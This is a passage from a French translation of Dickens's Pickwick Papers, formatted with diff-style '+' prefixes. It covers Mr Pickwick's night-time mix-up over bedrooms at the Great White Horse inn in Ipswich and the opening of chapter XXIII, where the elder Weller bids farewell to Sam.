+gabeloux.»
+
+C'est par de semblables discours, réunissant à la fois l'agréable et
+l'utile, que M. Weller charmait les ennuis du voyage. Les sujets de
+conversation ne manquaient point; et lorsque, par hasard, la loquacité
+de l'honorable cocher semblait diminuer un instant, M. Peter Magnus
+remplissait abondamment l'intervalle par des enquêtes sur l'histoire
+personnelle de ses compagnons de voyage, et par l'anxiété qu'il
+exprimait hautement, à chaque relai, concernant la sûreté et le
+bien-être des deux sacs, du carton à chapeau de cuir et du paquet de
+papier gris.
+
+A gauche, dans la grande rue d'Ipswich, à peu de distance après l'hôtel
+de ville, se trouve l'auberge au loin connue sous le nom du _Grand
+Cheval blanc_. Au-dessus de la principale porte, on remarque une énorme
+statue de pierre, représentant un animal bondissant, avec une queue et
+une crinière ondoyantes, et qui ressemble à peu près à un cheval de
+brasseur qui aurait perdu l'esprit. L'auberge du _Grand Cheval blanc_
+est fameuse dans le voisinage, au même titre qu'un boeuf gras, qu'un
+verrat monstrueux, qu'un navet enregistré dans la feuille de l'endroit,
+c'est à savoir pour sa taille gigantesque. Jamais, sous aucun toit, on
+ne vit de tels labyrinthes de couloirs sans tapis, un tel amas de
+chambres humides et mal éclairées, enfin un aussi grand nombre de
+petites tanières pour manger ou pour dormir.
+
+C'est à la porte de cette hydropique taverne que la voiture de Londres
+s'arrête à la même heure tous les soirs, et c'est de ladite voiture de
+Londres que descendirent M. Pickwick, Sam Weller et M. Peter Magnus,
+dans la soirée à laquelle se rapporte ce chapitre de notre histoire.
+
+«Restez-vous ici, monsieur?» demanda M. Peter Magnus lorsque le sac
+rayé, le sac rouge, le carton à chapeau de cuir et le paquet de papier
+gris, eurent été déposés l'un après l'autre dans le passage.
+
+«Oui, monsieur, répliqua H. Pickwick.
+
+--Dieu de Dieu! s'écria M. Magnus, je n'ai jamais rien vu d'aussi
+remarquable que cette coïncidence. Eh bien! moi aussi, je reste ici!
+J'espère que nous dînerons ensemble?
+
+--Avec plaisir, répondit le philosophe. Cependant il serait possible
+que je trouvasse ici quelques amis. Garçon, y a-t-il dans l'hôtel un
+gentleman nommé Tupman?»
+
+Un homme corpulent, qui avait sous son bras une serviette âgée d'une
+quinzaine de jours, et sur ses jambes des bas contemporains de la
+serviette, daigna cesser de regarder dans la rue lorsqu'il entendit
+cette question de M. Pickwick; et, après avoir soigneusement examiné
+l'apparence du savant homme, depuis son chapeau jusqu'à ses guêtres, lui
+répondit avec emphase: «Non!
+
+--Ni un gentleman nommé Snodgrass? poursuivit M. Pickwick.
+
+--Non.
+
+--Ni un gentleman nommé Winkle?
+
+--Non.
+
+--Mes amis ne sont pas arrivés aujourd'hui, et par conséquent, monsieur,
+nous dînerons seuls. Garçon! conduisez-nous dans une salle à manger
+particulière.»
+
+En vertu de cette requête, l'homme corpulent voulut bien ordonner au
+commissionnaire d'apporter les bagages des gentlemen; puis il leur fit
+traverser un passage long et sombre, et les introduisit dans une grande
+chambre, à peine meublée, où fumait, sur une grille malpropre, un petit
+feu de charbon de terre qui s'efforçait en vain de paraître joyeux, et
+qui noircissait misérablement sous l'influence attristante du local. Au
+bout d'une heure, un plat de poisson et des côtelettes furent servis aux
+voyageurs, et enfin, lorsque ce dîner eut été remporté, M. Pickwick et
+M. Peter Magnus, tirant leurs chaises plus près du feu, demandèrent une
+bouteille de vin de Porto, le plus mauvais possible, au prix le plus
+élevé possible, pour le bénéfice de la maison, et burent, pour le leur,
+de l'eau-de-vie et de l'eau chaude.
+
+M. Peter Magnus était naturellement d'une disposition
+très-communicative, et le grog opéra d'une manière surprenante pour
+faire écouler les secrets les plus cachés de son coeur. Après avoir donné
+de nombreux renseignements sur lui-même, sur sa famille, sur ses
+alliances, sur ses amis, sur ses plaisanteries, sur ses affaires et sur
+ses frères (la plupart des bavards ont beaucoup de choses à dire sur
+leurs frères), M. Peter Magnus contempla M. Pickwick pendant plusieurs
+minutes, à travers ses lunettes bleues, et dit ensuite avec un air de
+modestie:
+
+--Et maintenant, monsieur Pickwick, que pensez-vous que je sois venu
+faire ici?
+
+--Sur ma parole, répondit la philosophe, il m'est tout à fait impossible
+de le deviner. Pour affaire, peut-être?
+
+--Vous avez moitié raison, moitié tort en même temps. Essayez encore,
+monsieur Pickwick.
+
+--Réellement j'implore votre merci, et vous me l'apprendrez ou non, à
+votre choix; car je ne pourrai jamais deviner, quand j'essayerais toute
+la nuit.
+
+--Eh bien! alors, hi! hi! hi! reprit M. Peter Magnus avec un ricanement
+timide: que penseriez-vous, monsieur Pickwick, si je vous disais que je
+suis venu ici pour faire une déclaration et une demande de mariage? Eh!
+monsieur? hi! hi! hi!
+
+--Je penserais qu'il est fort probable que vous réussirez, répondit
+notre aimable ami avec un de ses sourires les plus radieux.
+
+--Ah! monsieur Pickwick, le pensez-vous vraiment? Le pensez-vous?
+
+--Certainement.
+
+--Non! vous plaisantez; j'en suis sûr.
+
+--Je ne plaisante pas, en vérité!
+
+--Eh bien! alors, pour vous dire un petit secret, je le pense aussi,
+moi. Je vous dirai même, monsieur Pickwick, quoique je sois jaloux comme
+un tigre, de mon naturel, je vous dirai que la dame est dans cette
+maison-ci. En prononçant ces dernières paroles, M. Magnus ôta ses
+lunettes bleues pour cligner de l'oeil, et les remit ensuite d'un air
+décidé.
+
+--C'est donc pour cela, demanda M. Pickwick avec malice, c'est donc pour
+cela que vous sortiez de la chambre à chaque instant, avant le dîner.
+
+--Chut! vous avez raison; c'était pour cela. Cependant je n'étais pas
+assez fou pour l'aller voir.
+
+--Pourquoi donc?
+
+--Cela ne vaudrait rien, voyez-vous, juste après un voyage. Il vaut
+mieux attendre jusqu'à demain matin; j'aurai bien plus de chances alors.
+Monsieur Pickwick, il y a dans ce sac un habit, et dans cette botte un
+chapeau, qui sont inestimables pour moi, d'après l'effet que j'en
+attends.
+
+--En vérité!
+
+--Oui, monsieur. Vous devez avoir observé mon anxiété à leur sujet
+aujourd'hui. Je ne crois pas, monsieur Pickwick, qu'on puisse avoir,
+pour de l'argent, un autre habit et un autre chapeau comme ceux-là.»
+
+Notre philosophe félicita, sur son bonheur, le possesseur du vêtement
+irrésistible, et M. Peter Magnus demeura pendant quelque temps absorbé
+dans la contemplation intellectuelle de ses trésors.
+
+«C'est une belle créature! s'écria-t-il enfin.
+
+--Vraiment?
+
+--Charmante! charmante! Elle habite à dix-huit milles d'ici, monsieur
+Pickwick. J'ai appris qu'elle serait ici ce soir et toute la matinée de
+demain, et je suis accouru pour saisir l'occasion. Je pense qu'une
+auberge doit être un endroit très favorable pour faire des propositions
+à une femme seule; car, lorsqu'elle voyage, elle doit sentir sa solitude
+bien plus que dans sa maison. Qu'en pensez-vous, monsieur Pickwick?
+
+--Cela me paraît en effet fort probable.
+
+--Je vous demande pardon, monsieur Pickwick; mais je suis naturellement
+assez curieux. Pour quelle cause êtes-vous ici?»
+
+Le rouge monta au visage de M. Pickwick au souvenir du sujet de son
+voyage. «Le motif qui m'amène, répondit-il, n'est nullement agréable. Je
+viens ici, monsieur, pour dévoiler la perfidie et la fausseté d'une
+personne dans l'honneur de laquelle j'avais mis une entière confiance.
+
+--Dieu de Dieu! cela est bien désagréable! C'est une dame, je présume?
+Eh! eh! fripon de M. Pickwick! petit fripon! Bien, bien, monsieur
+Pickwick!... Monsieur, je ne voudrais pas blesser votre délicatesse pour
+le monde entier. Pénible sujet, monsieur, très-pénible. Que je ne vous
+gêne pas, monsieur Pickwick, si vous voulez donner cours à votre
+chagrin. Je sais ce que c'est que d'être trahi, monsieur; j'ai enduré
+cette sorte de chose trois ou quatre fois.
+
+--Je vous suis fort obligé pour votre sympathie sur ce que vous supposez
+être mon cas mélancolique, repartit M. Pickwick en montant sa montre et
+en la posant sur la table, mais....
+
+--Non! non! interrompit M. Peter Magnus; pas un mot de plus. C'est un
+sujet pénible; je le vois; je le vois. Quelle heure est-il, monsieur
+Pickwick?
+
+--Minuit passé.
+
+--Dieu de Dieu! il est bien temps de s'aller coucher! quelle sottise de
+rester debout si tard! Je serai pâle demain matin, monsieur Pickwick.»
+
+Contristé par l'idée d'une telle calamité, M. Peter Magnus tira la
+sonnette. Une servante apparut, et le sac rayé, le sac rouge, le carton
+à chapeau en cuir, et le paquet de papier gris ayant été transportés
+dans sa chambre à coucher, il se retira, avec un chandelier vernissé,
+dans une des ailes de la maison, tandis que M. Pickwick, avec un autre
+chandelier vernissé, était conduit dans une autre aile, à travers une
+multitude de passages tortueux.
+
+«Voici votre chambre, monsieur, dit la servante.
+
+--Très-bien,» répondit M. Pickwick en regardant autour de lui. C'était
+une assez grande pièce à deux lits, dans laquelle il y avait du feu, et
+qui paraissait plus confortable, au total, que M. Pickwick n'était
+disposé à l'espérer d'après sa courte expérience de l'aménagement du
+Grandi Cheval blanc.
+
+«Il va sans dire que personne ne dort dans l'autre lit? fit-il observer.
+
+--Oh! non, monsieur.
+
+--Très-bien. Dites à mon domestique que je n'ai plus besoin de lui ce
+soir, et qu'il m'apporte de l'eau chaude demain à huit heures et demie.
+
+--Oui, monsieur.» Et la servante se retira après avoir souhaité une
+bonne nuit à notre philosophe.
+
+M. Pickwick, demeuré seul, s'assit dans un fauteuil auprès du feu, et se
+laissa aller à une longue suite de méditations. D'abord il songea à ses
+amis, et se demanda quand ils viendraient le rejoindre. Ensuite son
+esprit retourna vers mistress Martha Bardell, et de cette dame, par une
+transition naturelle, il se reporta au bureau malpropre de Dodson et
+Fogg. De là, il s'enfuit, par une tangente, au centre même de l'histoire
+du singulier client; puis il revint dans l'auberge du Grand Cheval
+blanc, à Ipswich, avec assez peu de lucidité pour convaincre M. Pickwick
+que le sommeil s'emparait rapidement de lui. Il se secoua donc, et
+commençait à se déshabiller lorsqu'il se rappela qu'il avait laissé sa
+montre sur la table, dans la salle d'en bas.
+
+Or cette montre était un des biens meubles favoris de M. Pickwick, ayant
+été transportée de tous côtés, à l'ombre de son gilet, pendant un nombre
+d'années plus considérable qu'il ne nous paraît nécessaire de le
+déclarer actuellement au lecteur. On n'aurait pu faire pénétrer dans le
+cerveau du philosophe la possibilité de s'endormir sans entendre le
+tic-tac régulier de cette montre sous son traversin, ou dans le
+porte-montre accroché au chevet de son lit. En conséquence, comme il
+était tard et qu'il ne voulait pas faire retentir sa sonnette, à cette
+heure de la nuit, il remit son habit qu'il avait déjà ôté, et prenant le
+chandelier vernissé, il descendit tranquillement les escaliers.
+
+Mais plus M. Pickwick descendait les escaliers, plus il semblait qu'il
+lui restât d'escaliers à descendre; et plusieurs fois après être parvenu
+dans un étroit passage et s'être félicité d'être enfin arrivé au
+rez-de-chaussée, M. Pickwick vit un autre escalier apparaître devant ses
+yeux étonnés. Au bout d'un certain temps, cependant, il atteignit une
+salle dallée qu'il se rappela avoir vue en entrant dans la maison. Avec
+un nouveau courage il explora passage après passage; il entr'ouvrit
+chambre après chambre, et à la fin, quand il allait abandonner ses
+recherches de pur désespoir, il se trouva dans la salle même où il avait
+passé la soirée, et il aperçut sur la table sa propriété manquante.
+
+M. Pickwick saisit la montre d'un air triomphant, et s'occupa ensuite de
+retourner sur ses traces, pour regagner sa chambre à coucher; mais si le
+trajet pour descendre avait été environné de difficultés et
+d'incertitudes, le voyage pour remonter était infiniment plus
+embarrassant. Dans toutes les directions possibles s'embranchaient des
+rangées de portes, garnies de bottes et de souliers. Une douzaine de
+fois, M. Pickwick avait tourné doucement la clef d'une chambre à
+coucher, dont la porte ressemblait à la sienne, lorsqu'un cri bourru de
+l'intérieur: «Qui diable est cela?» ou, «Qu'est-ce que vous venez faire
+ici?» l'obligeait à se retirer sur la pointe du pied, avec une célérité
+parfaitement merveilleuse. Il se trouvait de nouveau réduit au
+désespoir, lorsqu'une porte entr'ouverte attira son attention. Il
+allongea la tête et regarda dans la chambre. Bonne chance à la fin! Les
+deux lits étaient là, dans la situation qu'il se rappelait parfaitement,
+et le feu brûlait encore. Cependant sa chandelle, qui n'était pas des
+plus longues lorsqu'il l'avait reçue, avait coulé dans les courants
+d'air qu'il venait de traverser, et s'abîma dans le chandelier, au
+moment où il fermait la porte derrière lui. «C'est égal, pensa M.
+Pickwick, je puis me déshabiller tout aussi bien à la lumière du feu.»
+
+Les deux lits étaient placés à droite et à gauche de la porte. Entre
+chacun d'eux et la muraille il se trouvait une petite ruelle, terminée
+par une chaise de canne, et justement assez large pour permettre de
+monter au lit ou d'en descendre du côté de la muraille, si on le
+jugeait convenable. Après avoir exactement fermé les rideaux du lit du
+coté de la chambre, M. Pickwick s'assit dans la ruelle, sur la chaise de
+canne, et se débarrassa tranquillement de ses souliers et de ses
+guêtres. Ensuite il ôta et plia son habit, son gilet, sa cravate, et
+tirant lentement son bonnet de nuit de sa poche, il l'attacha solidement
+sur sa tête, en nouant sous son menton des cordons qui étaient toujours
+fixés à cette portion de son ajustement. Pendant cette opération
+l'absurdité de son récent embarras vint frapper plus fortement ses
+facultés risibles, et, se renversant sur sa chaise de canne, il se mit à
+rire en lui-même, de si bon coeur, que ç'aurait été un véritable délice,
+pour tout esprit bien constitué, de contempler le sourire qui
+épanouissait son aimable physionomie, sous son bonnet de coton orné
+d'une vaste mèche.
+
+«C'est la plus drôle de chose, se dit M. Pickwick à lui-même en riant si
+démesurément qu'il en fit presque craquer les cordons de son bonnet;
+c'est la plus drôle de chose dont j'aie jamais entendu parler, que de me
+voir ainsi perdu dans cette auberge, et errant dans tous ses escaliers.
+Drôle! drôle! très-drôle!» M. Pickwick, souriant de nouveau, d'un
+sourire plus prononcé qu'auparavant, allait continuer à se déshabiller,
+lorsqu'il fut arrêté, tout à coup, par l'entrée inattendue d'une
+personne qui tenait une chandelle, et qui, après avoir fermé la porte,
+s'avança jusqu'auprès de la toilette et y posa sa lumière.
+
+Le sourire qui se jouait sur les traits de M. Pickwick fut
+instantanément absorbé par l'expression de la surprise et de la stupeur
+la plus complète. La personne, quelle qu'elle fût, était arrivée si
+soudainement et avec si peu de bruit, que M. Pickwick n'avait pas eu le
+temps de crier ni de s'opposer à son entrée. Qui pouvait-ce être? un
+voleur? quelque individu mal intentionné, qui peut-être l'avait vu
+monter les escaliers, tenant à la main une belle montre. En tout cas que
+devait-il faire?
+
+Le seul moyen pour M. Pickwick d'observer son mystérieux visiteur, sans
+danger d'être vu lui-même, était de grimper sur le lit pour lorgner dans
+la chambre, et d'entr'ouvrir les rideaux. Il eut donc recours à cette
+manoeuvre, et les tenant d'une main soigneusement fermés de manière à ne
+laisser passer que sa tête et son bonnet de coton, il mit sur son nez
+ses lunettes, rassembla tout son courage, et regarda.
+
+Mais il s'évanouit presque d'horreur et de confusion lorsqu'il vit,
+debout devant la glace, une dame d'un certain âge, ornée de papillotes
+de papier brouillard, et activement occupée à brosser ce que les dames
+appellent _leur queue_. De quelque manière qu'elle fût venue dans la
+chambre, il était évident, à son air tranquille et dégagé, qu'elle
+comptait y passer la nuit tout entière. Elle avait apporté avec elle une
+chandelle de jonc garnie de son écran, et avec une louable précaution
+contre les dangers du feu, elle l'avait placée dans une cuvette pleine
+d'eau, sur le plancher, où cette chandelle brillait comme un phare
+gigantesque dans une mer singulièrement petite.
+
+«Dieu me protège! pensa M. Pickwick. Quelle chose épouvantable!
+
+--Hem! fit la dame; et aussitôt la tête du philosophe rentra derrière
+les rideaux, avec une rapidité digne d'une marionnette.
+
+--Je n'ai jamais ouï parler d'une aventure aussi terrible, se dit le
+pauvre M. Pickwick, dont le bonnet était trempé d'une sueur froide.
+Jamais! Cela est effroyable!»
+
+Cependant, ne pouvant résister au désir de voir ce qui se passait, il
+fit de nouveau sortir sa tête entre les rideaux.
+
+La situation s'empirait. La dame d'un certain âge ayant fini d'arranger
+ses cheveux, les avait soigneusement enveloppés dans un bonnet de nuit
+de mousseline orné d'une petite garniture plissée, et contemplait le feu
+d'un air mélancolique et rêveur.
+
+«Cette affaire devient alarmante, raisonna M. Pickwick en lui-même. Je
+ne puis pas laisser aller les choses de cette manière. Il est clair pour
+moi, d'après la tranquillité de cette dame, que je serai entré dans une
+chambre qui n'est pas la mienne. Si je parle, elle alarmera la maison;
+mais si je reste ici, les conséquences en seront plus effrayantes
+encore.»
+
+M. Pickwick, il est inutile de le dire, était un des mortels les plus
+modestes et les plus délicats qui aient jamais existé. La seule idée de
+se présenter devant une dame en bonnet de nuit, le remplissait de
+confusion. Mais il avait fait un noeud à ses maudits cordons, et malgré
+tous ses efforts il ne pouvait parvenir à les défaire. Il devenait
+indispensable de briser la glace, et il n'y avait pour cela qu'un seul
+moyen. Il se retira derrière les rideaux, et toussa tout haut: «Hom!
+hom!»
+
+A ce bruit inattendu la dame tressaillit évidemment, car elle renversa
+l'écran de sa chandelle. Mais bientôt elle se persuada qu'elle s'était
+alarmée sans raison, et lorsque M. Pickwick, croyant qu'elle était pour
+le moins évanouie de terreur, s'aventura à regarder à travers les
+rideaux, elle s'était remise à contempler le feu avec le même air
+mélancolique et rêveur.
+
+«Voilà une femme bien extraordinaire, pensa M. Pickwick en rentrant la
+tête. Hom! hom!»
+
+Cette fois ces deux syllabes étaient prononcées trop distinctement pour
+qu'il fût encore possible de les prendre pour une imagination.
+
+«Mon Dieu! mon Dieu! s'écria la dame; qu'est-ce que cela?
+
+--C'est... c'est seulement un gentleman, madame, dit M. Pickwick
+derrière le rideau.
+
+--Un gentleman! répéta la dame avec terreur.
+
+--C'en est fait! pensa M. Pickwick.
+
+--Un homme dans ma chambre! s'écria la dame, et elle se précipita vers
+la porte. M. Pickwick entendit le frôlement de sa robe. Un instant de
+plus et toute la maison allait être alarmée.
+
+--Madame, dit-il en montrant sa tête, dans l'excès de son désespoir;
+madame....»
+
+M. Pickwick, en mettant sa tête hors des rideaux, n'avait certainement
+point de but bien déterminé. Cependant cela produisit instantanément un
+bon effet. La dame, comme nous avons dit, était déjà près de la porte.
+Il fallait l'ouvrir pour arriver à l'escalier, et elle l'aurait fait
+sans aucun doute en un instant, si l'apparition soudaine du bonnet de
+nuit philosophique ne l'avait pas fait reculer jusqu'au fond de la
+chambre. Elle y resta immobile, considérant d'un air effaré M. Pickwick,
+qui à son tour la contemplait avec égarement.
+
+«Misérable! dit la dame, couvrant ses yeux de ses mains; que faites-vous
+ici?
+
+--Rien, madame... rien du tout, madame... répondit M. Pickwick avec feu.
+
+--Rien! répéta la dame en levant les yeux.
+
+--Rien, madame, sur mon honneur, reprit M. Pickwick en secouant sa tête
+d'une manière si énergique que la mèche de son bonnet s'agitait
+convulsivement. Madame, je me sens accablé de confusion en m'adressant à
+une lady avec mon bonnet de nuit sur ma tête (ici la dame arracha
+brusquement le sien); mais je ne puis l'ôter, madame. (En disant ces
+mots, M. Pickwick donna à son bonnet une secousse prodigieuse pour
+preuve de son allégation.) Maintenant, madame, il est évident pour moi
+que je me suis trompé de chambre à coucher, en prenant celle-ci pour la
+mienne. Je n'y étais pas depuis cinq minutes lorsque vous êtes entrée
+tout d'un coup.
+
+--Si cette histoire improbable est réellement vraie, monsieur, répliqua
+la dame en sanglotant violemment, vous quitterez cette chambre
+sur-le-champ.
+
+--Oui, madame, avec le plus grand plaisir.
+
+--Sur-le-champ! monsieur.
+
+--Certainement, madame, certainement. Je... je suis très-fâché, madame,
+poursuivit M. Pickwick en faisant son apparition au pied du lit;
+très-fâché d'avoir été la cause innocente de cette alarme et de cette
+émotion; profondément affligé, madame....»
+
+La dame montra la porte. Dans ce moment critique, dans cette situation
+si embarrassante, une des excellentes qualités de M. Pickwick se déploya
+encore admirablement. Quoiqu'il eût placé à la hâte son chapeau sur son
+bonnet de coton, à la manière des patrouilles bourgeoises, quoiqu'il
+portât ses souliers et ses guêtres dans ses mains, et son habit et son
+gilet sur son bras, rien ne put diminuer sa politesse naturelle.
+
+«Je suis excessivement fâché, madame, dit-il en saluant très-bas.
+
+--Si vous l'êtes, monsieur, vous quitterez cette chambre sur-le-champ.
+
+--Immédiatement, madame. A l'instant même, madame, dit M. Pickwick en
+ouvrant la porte et en laissant tomber ses souliers avec grand fracas.
+Je me flatte, madame, reprit-il en ramassant ses chaussures et en se
+retournant pour saluer encore, je me flatte que mon caractère sans tache
+et le respect plein de dévotion que je professe pour votre sexe
+plaideront en ma faveur dans cette circonstance.» Mais avant qu'il eût
+pu conclure cette sentence, la dame l'avait poussé dans le passage, et
+avait fermé et verrouillé la porte derrière lui.
+
+Quelque satisfaction que notre philosophe dût ressentir d'avoir terminé
+aussi aisément cette épouvantable aventure, sa situation présente
+n'était nullement agréable. Il était seul, à moitié habillé, dans un
+passage ouvert, dans une maison inconnue, au milieu de la nuit. Il
+n'était pas supposable qu'il put retrouver, dans une parfaite obscurité,
+la chambre qu'il n'avait pu découvrir lorsqu'il était armé d'une
+lumière, et s'il faisait le plus petit bruit, dans ses inutiles
+recherches, il courait la chance de recevoir un coup de pistolet et
+peut-être d'être tué par quelque voyageur réveillé en sursaut. Il
+n'avait donc pas d'autre ressource que de rester où il était, jusqu'à
+la pointe du jour. Ainsi, après avoir fait encore quelques pas dans le
+corridor, en trébuchant, à sa grande alarme, sur plusieurs paires de
+bottes, il s'accroupit dans un angle du mur, pour attendre le matin
+aussi philosophiquement qu'il le pourrait.
+
+Cependant il n'était point destiné à subir cette nouvelle épreuve de
+patience, car il n'y avait pas longtemps qu'il était retiré dans son
+coin, lorsqu'à son horreur inexprimable un homme, portant une lumière,
+apparut au bout du corridor. Mais cette horreur fut soudainement
+convertie en transports de joie lorsqu'il reconnut son fidèle serviteur.
+C'était en effet M. Samuel Weller qui regagnait son domicile, après être
+resté jusqu'alors en grande conversation avec le garçon qui attendait la
+diligence.
+
+«Sam! dit M. Pickwick, en paraissant tout à coup devant lui; où est ma
+chambre à coucher?»
+
+Sam considéra son maître avec la surprise la plus expressive, et
+celui-ci avait déjà répété trois fois la même question, lorsque son
+domestique tourna sur son talon et le conduisit à la chambre si
+longtemps cherchée.
+
+«Sam, dit M. Pickwick en se mettant dans son lit; j'ai fait cette nuit
+un des quiproquos les plus extraordinaires qu'il soit possible de faire.
+
+--Ça ne m'étonne pas, monsieur, répliqua sèchement le valet.
+
+--Mais je suis bien déterminé, Sam, quand je devrais rester six mois
+dans cette maison, à ne plus jamais me risquer tout seul hors de ma
+chambre.
+
+--C'est la résolution la plus prudente que vous pourriez prendre,
+monsieur. Vous avez besoin de quelqu'un pour vous surveiller quand votre
+raison s'en va en visite.
+
+--Qu'est-ce que vous entendez par là? Sam, demanda M. Pickwick, qui, se
+levant sur son séant, étendit la main comme s'il allait faire un
+discours; mais tout à coup il parut se raviser, se recoucha et dit à son
+domestique: Bonsoir.
+
+--Bonsoir, monsieur,» répliqua Sam, et il sortit de la chambre. Arrivé
+dans le corridor, il s'arrêta, secoua la tête, fit quelques pas,
+s'arrêta encore, moucha sa chandelle, secoua la tête de nouveau, et
+finalement se dirigea lentement vers sa chambre, enseveli, en apparence,
+dans les plus profondes méditations.
+
+
+
+
+CHAPITRE XXIII.
+
+Dans lequel Samuel Weller s'occupe énergiquement de prendre la revanche
+de M. Trotter.
+
+
+A une heure un peu plus avancée de cette même matinée dont le
+commencement avait été signalé par l'aventure de M. Pickwick avec la
+dame aux papillotes jaunes, dans la petite chambre située auprès des
+écuries, M. Weller aîné faisait les préparatifs de son retour à Londres.
+Il était parfaitement posé pour se faire peindre, et, profitant de
+l'occasion, nous allons esquisser son portrait.
+
+Son profil avait pu présenter dans sa jeunesse des lignes hardies et
+fortement accentuées, mais grâce à la bonne chère, grâce à un caractère
+qui se pliait aux circonstances avec une extrême facilité, les courbes
+charnues de ses joues s'étaient étendues bien au-delà des limites qui
+leur avaient été originairement assignées par la nature; si bien qu'à
+moins de le regarder en face, il était difficile de distinguer dans son
+visage autre chose que le bout d'un nez rubicond. La même cause avait
+fait acquérir à son menton la forme grave et imposante que l'on décrit
+communément, en faisant précéder de l'épithète _double_ le nom de ce
+trait expressif de la physionomie humaine. Enfin, son teint présentait
+cette combinaison de couleurs qui ne se rencontrent guère que chez les
+gentlemen de sa profession, ou sur un filet de boeuf mal rôti. Autour de
+son cou il portait un châle de voyage écarlate, qui s'adaptait si
+parfaitement à son menton qu'il était difficile de distinguer les plis
+de l'un d'avec les plis de l'autre; par-dessus ce châle il mit un long
+gilet d'une grosse étoffe rouge à larges raies roses, et par-dessus ce
+gilet un immense habit vert, orné de gros boutons de cuivre; et parmi
+ces boutons ceux qui garnissaient la taille étaient si éloignés l'un de
+l'autre, que nul mortel ne les avait jamais vus tous les deux à la fois.
+Les cheveux de M. Weller étaient courts, lisses, noirs, et
+s'apercevaient à peine sous les bords gigantesques d'un chapeau brun à
+forme basse. Ses jambes étaient encaissées dans une culotte de velours
+à côtes et dans des bottes à revers; enfin, une grande chaîne de cuivre,
+terminée par une clef et un cachet du même métal, se dandinait
+gracieusement à sa vaste ceinture.
+
+Nous avons dit que M. Weller faisait les préparatifs de son retour à
+Londres. Pour être plus explicite, il s'occupait de la question des
+vivres. Sur la table, devant lui, se trouvait un pot d'ale, un plat de
+boeuf froid et un pain d'une dimension fort respectable, à chacun
+desquels il distribuait tour à tour ses faveurs, avec la plus rigide
+impartialité. Il venait de couper une bonne tranche de pain lorsqu'un
+bruit de pas dans la chambre lui fit lever les yeux. L'espoir de sa
+vieillesse était devant lui.
+
+«'Jour! Sammy,» dit le père.
+
+Le fils s'approcha du pot d'ale et prit, en guise de réponse, une longue
+gorgée de liquide.
+
+«Tu aspires les liquides avec facilité, Sammy, dit M. Weller en
+regardant l'intérieur du pot, lorsque son premier-né l'eut reposé, à
+moitié vide, sur la table; tu aurais fait une fameuse sangsure si tu
+étais né dans cette profession-là, Sammy.
+
+--Oui, je me figure que ce talent-là m'aurait permis de vivre à mon
+aise, répliqua Sam en s'attaquant au boeuf froid avec une vigueur
+considérable.
+
+--Je suis très-vexé, Sammy, reprit M. Weller en décrivant de petits
+cercles avec le pot pour secouer son ale avant de la boire, je suis
+très-vexé, Sammy, de voir que tu t'es laissé enfoncer par cet homme
+violet. J'avais toujours pensé, jusqu'à l'autre jour, que les mots de
+_Weller_ et _enfoncé_ ne viendraient jamais en contract, Sammy....
+Jamais.
+
+--Excepté, sans doute, le cas où il serait question d'une veuve, reprit
+Sam.
+
+--Les veuves, Sammy, répliqua M. Weller en changeant un peu de couleur,
+les veuves sont des exceptions à toutes les règles. J'ai entendu dire
+combien une veuve vaut de femmes ordinaires, pour vous mettre dedans. Je
+crois que c'est 25, Sammy; mais ça pourrait bien être davantage.
+
+--Eh mais, c'est déjà assez gentil.
+
+--D'ailleurs, poursuivit M. Weller, sans faire attention à
+l'interruption, c'est ben différent. Tu sais ce que disait l'avocat de
+ce gen'lm'n qui battait sa femme à coups de pincettes quand il était en
+ribotte. «Après tout, m'sieu le président, qu'i' dit, «c'n est qu'une
+aimable faiblesse.» J'en dis autant par rapport aux veuves, Sammy; et
+tu en diras autant quand tu auras mon âge.
+
+--Je sais bien, confessa Sam, je sais bien que j'aurais dû en savoir
+plus long.
+
+--En savoir plus long! répéta M. Weller, en frappant la table avec son
+poing; en savoir plus long! Mais je connais un jeune moutard, qui n'a
+pas eu le quart de ton inducation, qui n'a pas seulement fréquenté les
+marchés pendant... non pas six mois, et qui aurait rougi de se laisser
+enfoncer comme ça, rougi jusqu'au blanc des yeux, Sammy!» L'angoisse que
+réveilla cette amère réflexion obligea M. Weller à tirer la sonnette et
+à demander une nouvelle pinte d'ale.
+
+«Allons! à quoi bon parler de ça maintenant, fit observer Sam. Ce qui
+est fait est fait, il n'y a plus de remède, et cette pensée doit nous
+consoler, comme disent les Turcs, quand ils ont coupé la tête d'un
+individu par erreur. Mais chacun son tour, gouverneur, et si je rattrape
+ce Trotter, il aura affaire à moi.
+
+--Je l'espère, Sammy, je l'espère, répondit gravement M. Weller. A ta
+santé, Sammy, et puisses-tu effacer bientôt la tache dont tu as soulié
+notre nom de famille.» En l'honneur de ce toast, le corpulent cocher
+absorba, d'un seul trait, les deux tiers au moins de la pinte
+nouvellement arrivée: puis il tendit le reste à son fils, qui en disposa
+instantanément.
+
+«Et maintenant, Sammy, reprit M. Weller en consultant l'énorme montre
+d'argent que soutenait sa chaîne de cuivre; maintenant il est temps que
+j'aille au bureau pour prendre ma feuille de route et pour faire charger
+la voiture; car les voitures, Sammy, c'est comme les canons, i' faut les
+charger avec beaucoup de soin avant qu'i' partent.»
+
+Sam Weller accueillit avec un sourire filial ce bon mot paternel et
+professionnel. Son respectable père continua d'un ton grave et ému: «Je
+vas te quitter, Sammy, mon garçon, et on ne sait pas quand est-ce que
+nous nous reverrons. Ta belle-mère peut avoir fait mon affaire, il peut
+arriver un tas d'accidents avant que tu reçoives de nouvelles nouvelles
+du célèbre monsieur Weller de la _Belle Sauvage_. L'honneur de la
+famille est dans tes mains, Samivel, et j'espère que tu feras ton
+devoir. Quant au reste, je sais que je peux me fier à toi comme à
+moi-même. Aussi je n'ai qu'un petit conseil à te donner. Si tu dépasses
+la cinquantaine et que l'idée te vienne d'épouser quelqu'un, n'importe
+qui, vite enferme-toi dans ta chambre, si tu en as une, et
+empoisonne-toi sur-le-champ. C'est commun de se pendre; ainsi pas de
+ces bêtises-là. Empoisonne-toi, Sammy, mon garçon, empoisonne-toi et
+plus tard tu seras bien aise de m'avoir écouté.»
+
+M. Weller gardait fixement son fils en prononçant ces touchantes
+paroles. Lorsqu'il eut terminé il tourna lentement sur le talon et
+disparut.
+
+Les derniers conseils de son père ayant éveillé dans l'esprit de M.
+Samuel Weller mille idées contemplatives et lugubres, il sortit de
+l'auberge du _Cheval blanc_ dès que le vieil automédon l'eut quitté, et
+dirigea ses pas vers l'église de Saint-Clément, essayant de dissiper sa
+mélancolie en se promenant dans les antiques dépendances de cet édifice.
+Il y avait déjà quelque temps qu'il flânait dans les environs, quand il
+se trouva dans un endroit solitaire, une espèce de cour, d'un aspect
+vénérable, et qui n'avait pas d'autre issue que le passage par lequel il
